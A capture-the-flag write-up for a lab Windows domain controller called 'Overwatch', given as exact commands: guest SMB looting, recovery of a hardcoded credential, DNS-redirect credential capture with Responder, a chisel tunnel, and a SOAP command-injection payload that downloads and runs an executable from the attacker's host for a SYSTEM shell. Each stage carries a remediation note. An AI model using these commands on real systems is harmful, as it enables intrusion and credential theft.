jperezduerto.info
Overwatch
Summary
I used SMB Guest access to pull a monitoring binary from a share, decompiled it to recover a hardcoded MSSQL service-account password, and used that account's database access to find a linked server. Redirecting the linked server's DNS record to my own host forced it to authenticate over the network, leaking a second, more privileged account's password in cleartext.
That account had WinRM rights for an interactive shell and the user flag. From there, a local monitoring service running as SYSTEM but reachable only from localhost was tunneled out and abused via a command-injection flaw in its process-management API, yielding a SYSTEM shell and the root flag — a full compromise of the domain controller.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <sqlmgmt-password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Confirm Guest authentication succeeds and enumerate shares.
$ netexec smb $TARGET -u guest -p ''Spider all readable shares and download files, including software$\Monitoring\overwatch.exe.
$ netexec smb $TARGET -u guest -p '' -M spider_plus -o DOWNLOAD_FLAG=trueFixDisable Guest/anonymous SMB access to internal sharesMedium
Exact commands 2
Decompile the assembly to C# source.
$ ilspycmd -p overwatch.exe -o ./decompiledAlternative: pull the connection string directly from the app config.
$ strings overwatch.exe.config | grep -i 'connectionstring\|password'FixRemove hardcoded credentials from deployed application binaries/configsHigh
Exact commands 2
Authenticate to the non-default MSSQL port with the recovered domain credential.
$ mssqlclient.py -windows-auth "OVERWATCH/sqlsvc:$PASSWORD@$TARGET" -port 6520Run inside the mssqlclient.py SQL prompt to list linked servers; returns SQL07.
$ enum_linksExact commands 3
Point the SQL07 DNS name at my tun0 IP ($ATTACKER_IP).
$ bloodyAD --host $TARGET -d overwatch.htb -u sqlsvc -p "$PASSWORD" add dnsRecord SQL07 $ATTACKER_IPStart Responder to catch the MSSQL cleartext auth on the redirected name.
$ sudo responder -I tun0Run inside the mssqlclient.py session as sqlsvc to force the link to resolve and authenticate to me.
$ SELECT * FROM OPENQUERY([SQL07],'select 1');FixRestrict dynamic DNS updates and eliminate cleartext linked-server authenticationCritical
Exact commands 3
Confirm WinRM access (expect Pwn3d!).
$ netexec winrm $TARGET -u sqlmgmt -p '<sqlmgmt-password>'Open an interactive shell as sqlmgmt.
$ evil-winrm -i $TARGET -u sqlmgmt -p '<sqlmgmt-password>'Read the user flag; replace with <user.txt>.
$ type C:\Users\sqlmgmt\Desktop\user.txtExact commands 6
Run on my host to accept the reverse tunnel.
$ chisel server -p 9003 --reverseRun inside the sqlmgmt evil-winrm session to expose the loopback service locally on my box.
$ ./chisel.exe client $ATTACKER_IP:9003 R:8000:127.0.0.1:8000$ curl http://127.0.0.1:8000/MonitorService?wsdlInject a command via the processName parameter; runs as SYSTEM. Have a listener (e.g. Nc -lvnp 9000 serving s.exe, or a Netcat/Meterpreter catcher) ready first.
$ curl -X POST http://127.0.0.1:8000/MonitorService -H 'Content-Type: text/xml' -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><KillProcess xmlns="http://tempuri.org/"><processName>x ; powershell -c "iwr http://'"$ATTACKER_IP"':9000/s.exe -outfile C:\\Windows\\Temp\\s.exe; C:\\Windows\\Temp\\s.exe" #</processName></KillProcess></soap:Body></soap:Envelope>'Run in the resulting shell to prove SYSTEM before reading the flag (expect nt authority\system).
$ whoamiRead the root flag; replace with <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtFixFix command injection in the local monitoring service and reduce its privilegeCritical
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | winrm recon-sweep-discovered |
| 6520/tcp | unknown recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 57985/tcp | unknown recon-sweep-discovered |
| 63086/tcp | unknown recon-sweep-discovered |
| 63087/tcp | unknown recon-sweep-discovered |
| 63094/tcp | unknown recon-sweep-discovered |
| 63110/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |